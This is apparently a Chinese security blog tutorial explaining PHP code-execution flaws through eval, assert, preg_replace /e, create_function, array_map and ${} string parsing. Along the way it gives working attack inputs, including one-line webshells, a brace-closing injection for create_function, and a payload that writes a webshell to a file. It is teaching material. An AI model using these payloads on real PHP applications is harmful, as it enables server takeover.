代码执行漏洞

代码执行漏洞(RCE:远程命令或者代码执行)

原理:用户输入的数据,被当做后端代码进行执行

 

代码执行:用户输入的数据,被当做后端代码进行执行

命令执行:用户输入的数据,被当系统进行执行

 

在php中有许多的代码执行函数

例如

  1. <php  eval($_request[8]);?>  //eval 把字符串作为PHP代码执行.     可以多行执行
  2. <php  assert($_request[8]);?> //assert将传入的参数当成PHP代码.只能单行执行

怎么利用assert函数进行多行执行呢?

答:assert函数 只能单行执行,但是eval可以进行多行呀

  1. 我们可以直接调用eval函数,这样是不是单行执行呀!

比如后端代码是:<php  assert($_request[8]);?>

我们可以在URL栏写入:127.0.0.1/1.php?8=eval ('echo 123;phpinfo';)

(2)写文件,把你需要执行的全部代码写入文件,文件里可以写入多行吧

File_put_contents('123.php','<php echo 123;phpinfo();?>');

file_put_contents函数 //将一个字符串写入文件

这里的意思就是 将123和phpinfo写入到123.php文件里面

 

3.preg_replace函数  //正则替换

preg_replace ('/a/','b','aabbwe')这里就是a替换成b 输出显示bbbbwe

这个时候就会有人说了 这个有啥用呀?

本身确实没啥问题,造成问题的是他的修饰符

在正则表达式,有许多的修饰符对吧,而有一个修饰符 /e

/e 的核心:用户输入的第二个参数会被当作代码执行

比如:preg_replace ('/a/e','phpinfo','aabbwe')

这里的第二个参数 就会被当作代码进行一个执行

假如你可以控制目标网站正则表达式的规则呢?是不是就很危险

注意:如果在需要的匹配替换里面没有a, 那么他是不会进行一个执行的(像 preg_replace ('/a/e','phpinfo','bbbbwe') 

 

4.create_function  //匿名函数 自定义的函数

create_function(第一个参数是形参,第二个参数是可执行代码);

这个函数 对于一些代码不是很好的小伙伴 理解起来非常吃力

我举个例子好吧

 

  1. 匿名函数简单来说:就是用户自己创建的一个函数,但是它是没有名字的一个函数
  2. create_function()这个函数的意思就创建一个匿名函数
  3. 你只要理解他里面的参数是作用就好了,第一个参数就是形参,意思就是你去调用这个函数,然后给他传递参数
  4. 比如这个例子中,我创建了一个匿名函数

$a = create_function('$id','echo $id');   然后这个$a就代表了这个匿名函数(可以理解为函数名),然后调用$a给他传个参数 8  $a(8);然后这个8就会作为参数给了变量$id,然后执行了echo $id

  1. $a 就相当于一个函数了
  2. 我们去调用$a
  3. $a(8)
  4. 给这个函数传递了一个参数8
  5. $id = 8
  6. 再去执行了 echo $id;
  7. 就输出了8

然后我们替换一下 改成

$a = create_function('$id',$_REQUEST[8]);

$a(10)

原理是一样的 如果我们能控制 就可以拿shell

 

这个时候肯定会有人说 如果$a(10)没有呢 无法调用?

 

我们可以输入 1.php?8=}phpinfo();//

}会和他前面的{进行闭合

//会注释掉后面的}

最后就形成了phpinfo();

就可以菜刀连接

 

5.array_map //回调函数,调用某个函数

举个例子

 

function //定义一个函数 定义 cube($n)

 

return //函数执行后返回的一个内容 将执行的东西放进($n*$n*$n)

也是说$a=[1,2,3,4,5]; 会放进($n*$n*$n)

1x1x1=1

2x2x2=8

3x3x3=27

懂我的意思吧

这里就很明显了array_map的作用了 他会将函数依次放入数组去进行一个执行

我们换成array_map($_REQUEST[1],$_REQUEST);

 

call_user_func() 也可回调,回调函数在PHP有很多

还有许多函数 (大家可以自行百度)

6.特殊组合(双引号二次解析)

[PHP版本5.5及其以上版本可以使用]

在PHP的官方文档中也有描述https://www.php.net/manual/zh/language.types.string.php

 

 

"${phpinfo()}";  => 代码执行phpinfo()

意思就是说当$和{紧挨在一起的时候 就会被当作代码进行执行

${phpinfo()};

 

 

另外还可以利用file_put_contents这个函数 写文件的大家都学过

"${file_put_contents('16.php','<?php eval($_REQUEST[8])?>')}";

利用这个函数将一句话木马写到16.php 对吧 没毛病

 

然后访问16.php?8=phpinfo();(懂我意思吧)

  • 0
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值